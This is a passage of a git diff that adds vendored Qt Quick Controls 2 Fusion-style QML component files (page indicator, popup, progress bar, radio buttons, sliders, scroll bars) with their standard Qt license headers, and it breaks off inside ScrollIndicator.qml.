index 00000000..5679b14f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/PageIndicator.qml @@ -0,0 +1,74 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.PageIndicator { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + padding: 4 + spacing: 4 + + delegate: Rectangle { + implicitWidth: 6 + implicitHeight: 6 + + radius: width / 2 + color: control.palette.shadow + + opacity: index === currentIndex ? 0.95 : pressed ? 0.75 : 0.45 + Behavior on opacity { OpacityAnimator { duration: 100 } } + } + + contentItem: Row { + spacing: control.spacing + + Repeater { + model: control.count + delegate: control.delegate + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/Pane.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/Pane.qml new file mode 100644 index 00000000..28be3b47 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/Pane.qml @@ -0,0 +1,57 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.Pane { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + padding: 9 + + background: Rectangle { + color: control.palette.window + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/Popup.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/Popup.qml new file mode 100644 index 00000000..25a8c5ae --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/Popup.qml @@ -0,0 +1,67 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.Popup { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + padding: 6 + + background: Rectangle { + color: control.palette.window + border.color: control.palette.mid + radius: 2 + } + + T.Overlay.modal: Rectangle { + color: Fusion.topShadow + } + + T.Overlay.modeless: Rectangle { + color: Fusion.topShadow + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/ProgressBar.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/ProgressBar.qml new file mode 100644 index 00000000..5deade58 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/ProgressBar.qml @@ -0,0 +1,117 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.ProgressBar { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + contentItem: Item { + implicitWidth: 120 + implicitHeight: 24 + scale: control.mirrored ? -1 : 1 + + Rectangle { + height: parent.height + width: (control.indeterminate ? 1.0 : control.position) * parent.width + + radius: 2 + border.color: Qt.darker(Fusion.highlight(control.palette), 1.4) + gradient: Gradient { + GradientStop { + position: 0 + color: Qt.lighter(Fusion.highlight(control.palette), 1.2) + } + GradientStop { + position: 1 + color: Fusion.highlight(control.palette) + } + } + } + + Item { + x: 1; y: 1 + width: parent.width - 2 + height: parent.height - 2 + visible: control.indeterminate + clip: true + + ColorImage { + width: Math.ceil(parent.width / implicitWidth + 1) * implicitWidth + height: parent.height + + mirror: control.mirrored + fillMode: Image.TileHorizontally + source: "qrc:/qt-project.org/imports/QtQuick/Controls.2/Fusion/images/progressmask.png" + color: Color.transparent(Qt.lighter(Fusion.highlight(control.palette), 1.2), 160 / 255) + + visible: control.indeterminate + NumberAnimation on x { + running: control.indeterminate && control.visible + from: -31 // progressmask.png width + to: 0 + loops: Animation.Infinite + duration: 750 + } + } + } + } + + background: Rectangle { + implicitWidth: 120 + implicitHeight: 24 + + radius: 2 + color: control.palette.base + border.color: Fusion.outline(control.palette) + + Rectangle { + x: 1; y: 1; height: 1 + width: parent.width - 2 + color: Fusion.topShadow + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/RadioButton.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/RadioButton.qml new file mode 100644 index 00000000..a940aff3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/RadioButton.qml @@ -0,0 +1,72 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.RadioButton { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + padding: 6 + spacing: 6 + + indicator: RadioIndicator { + x: control.text ? (control.mirrored ? control.width - width - control.rightPadding : control.leftPadding) : control.leftPadding + (control.availableWidth - width) / 2 + y: control.topPadding + (control.availableHeight - height) / 2 + control: control + } + + contentItem: Text { + leftPadding: control.indicator && !control.mirrored ? control.indicator.width + control.spacing : 0 + rightPadding: control.indicator && control.mirrored ? control.indicator.width + control.spacing : 0 + + text: control.text + font: control.font + color: control.palette.windowText + elide: Text.ElideRight + verticalAlignment: Text.AlignVCenter + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/RadioDelegate.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/RadioDelegate.qml new file mode 100644 index 00000000..e8555a17 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/RadioDelegate.qml @@ -0,0 +1,87 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.RadioDelegate { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + padding: 6 + spacing: 6 + + icon.width: 16 + icon.height: 16 + + contentItem: IconLabel { + leftPadding: control.mirrored ? control.indicator.width + control.spacing : 0 + rightPadding: !control.mirrored ? control.indicator.width + control.spacing : 0 + + spacing: control.spacing + mirrored: control.mirrored + display: control.display + alignment: control.display === IconLabel.IconOnly || control.display === IconLabel.TextUnderIcon ? Qt.AlignCenter : Qt.AlignLeft + + icon: control.icon + text: control.text + font: control.font + color: control.highlighted ? Fusion.highlightedText(control.palette) : control.palette.text + } + + indicator: RadioIndicator { + x: control.mirrored ? control.leftPadding : control.width - width - control.rightPadding + y: control.topPadding + (control.availableHeight - height) / 2 + + control: control + } + + background: Rectangle { + implicitWidth: 100 + implicitHeight: 20 + color: control.down ? Fusion.buttonColor(control.palette, false, true, true) + : control.highlighted ? Fusion.highlight(control.palette) : control.palette.base + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/RadioIndicator.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/RadioIndicator.qml new file mode 100644 index 00000000..c73cd49f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/RadioIndicator.qml @@ -0,0 +1,78 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +Rectangle { + id: indicator + + property Item control + readonly property color pressedColor: Fusion.mergedColors(control.palette.base, control.palette.windowText, 85) + readonly property color checkMarkColor: Qt.darker(control.palette.text, 1.2) + + implicitWidth: 14 + implicitHeight: 14 + + radius: width / 2 + color: control.down ? indicator.pressedColor : control.palette.base + border.color: control.visualFocus ? Fusion.highlightedOutline(control.palette) + : Qt.darker(control.palette.window, 1.5) + + Rectangle { + y: 1 + width: parent.width + height: parent.height - 1 + radius: width / 2 + color: "transparent" + border.color: Fusion.topShadow + visible: indicator.control.enabled && !indicator.control.down + } + + Rectangle { + x: (parent.width - width) / 2 + y: (parent.height - height) / 2 + width: parent.width / 2.32 + height: parent.height / 2.32 + radius: width / 2 + color: Color.transparent(indicator.checkMarkColor, 180 / 255) + border.color: Color.transparent(indicator.checkMarkColor, 200 / 255) + visible: indicator.control.checked + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/RangeSlider.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/RangeSlider.qml new file mode 100644 index 00000000..7edbed57 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/RangeSlider.qml @@ -0,0 +1,82 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.RangeSlider { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + Math.max(first.implicitHandleWidth, + second.implicitHandleWidth) + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + Math.max(first.implicitHandleHeight, + second.implicitHandleHeight) + topPadding + bottomPadding) + + first.handle: SliderHandle { + x: control.leftPadding + Math.round(control.horizontal ? control.first.visualPosition * (control.availableWidth - width) : (control.availableWidth - width) / 2) + y: control.topPadding + Math.round(control.horizontal ? (control.availableHeight - height) / 2 : control.first.visualPosition * (control.availableHeight - height)) + + palette: control.palette + pressed: control.first.pressed + hovered: control.first.hovered + vertical: control.vertical + visualFocus: activeFocus + } + + second.handle: SliderHandle { + x: control.leftPadding + Math.round(control.horizontal ? control.second.visualPosition * (control.availableWidth - width) : (control.availableWidth - width) / 2) + y: control.topPadding + Math.round(control.horizontal ? (control.availableHeight - height) / 2 : control.second.visualPosition * (control.availableHeight - height)) + + palette: control.palette + pressed: control.second.pressed + hovered: control.second.hovered + vertical: control.vertical + visualFocus: activeFocus + } + + background: SliderGroove { + control: control + offset: control.first.position + progress: control.second.position + visualProgress: control.second.visualPosition + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/RoundButton.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/RoundButton.qml new file mode 100644 index 00000000..59bf4c16 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/RoundButton.qml @@ -0,0 +1,99 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.RoundButton { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + padding: 6 + spacing: 6 + + icon.width: 16 + icon.height: 16 + + contentItem: IconLabel { + spacing: control.spacing + mirrored: control.mirrored + display: control.display + + icon: control.icon + text: control.text + font: control.font + color: control.palette.buttonText + } + + background: Rectangle { + implicitWidth: 32 + implicitHeight: 32 + visible: !control.flat || control.down || control.checked + + gradient: Gradient { + GradientStop { + position: 0 + color: control.down || control.checked ? Fusion.buttonColor(control.palette, control.highlighted, control.down || control.checked, control.hovered) + : Fusion.gradientStart(Fusion.buttonColor(control.palette, control.highlighted, control.down, control.hovered)) + } + GradientStop { + position: 1 + color: control.down || control.checked ? Fusion.buttonColor(control.palette, control.highlighted, control.down || control.checked, control.hovered) + : Fusion.gradientStop(Fusion.buttonColor(control.palette, control.highlighted, control.down, control.hovered)) + } + } + + radius: control.radius + border.color: Fusion.buttonOutline(control.palette, control.highlighted || control.visualFocus, control.enabled) + + Rectangle { + x: 1; y: 1 + width: parent.width - 2 + height: parent.height - 2 + border.color: Fusion.innerContrastLine + color: "transparent" + radius: control.radius + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/ScrollBar.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/ScrollBar.qml new file mode 100644 index 00000000..93b58f0e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/ScrollBar.qml @@ -0,0 +1,78 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.ScrollBar { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + padding: 2 + visible: control.policy !== T.ScrollBar.AlwaysOff + minimumSize: orientation == Qt.Horizontal ? height / width : width / height + + contentItem: Rectangle { + implicitWidth: control.interactive ? 6 : 2 + implicitHeight: control.interactive ? 6 : 2 + + radius: width / 2 + color: control.pressed ? control.palette.dark : control.palette.mid + opacity: 0.0 + + states: State { + name: "active" + when: control.policy === T.ScrollBar.AlwaysOn || (control.active && control.size < 1.0) + PropertyChanges { target: control.contentItem; opacity: 0.75 } + } + + transitions: Transition { + from: "active" + SequentialAnimation { + PauseAnimation { duration: 450 } + NumberAnimation { target: control.contentItem; duration: 200; property: "opacity"; to: 0.0 } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/ScrollIndicator.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/ScrollIndicator.qml new file mode 100644 index 00000000..efe0b2fa --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/ScrollIndicator.qml @@ -0,0 +1,78 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.ScrollIndicator { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + padding: 2 + + contentItem: Rectangle { + implicitWidth: 2 + implicitHeight: 2 + + color: control.palette.mid + visible: control.size < 1.0 + opacity: 0.0 + + states: State { + name: "active" + when: 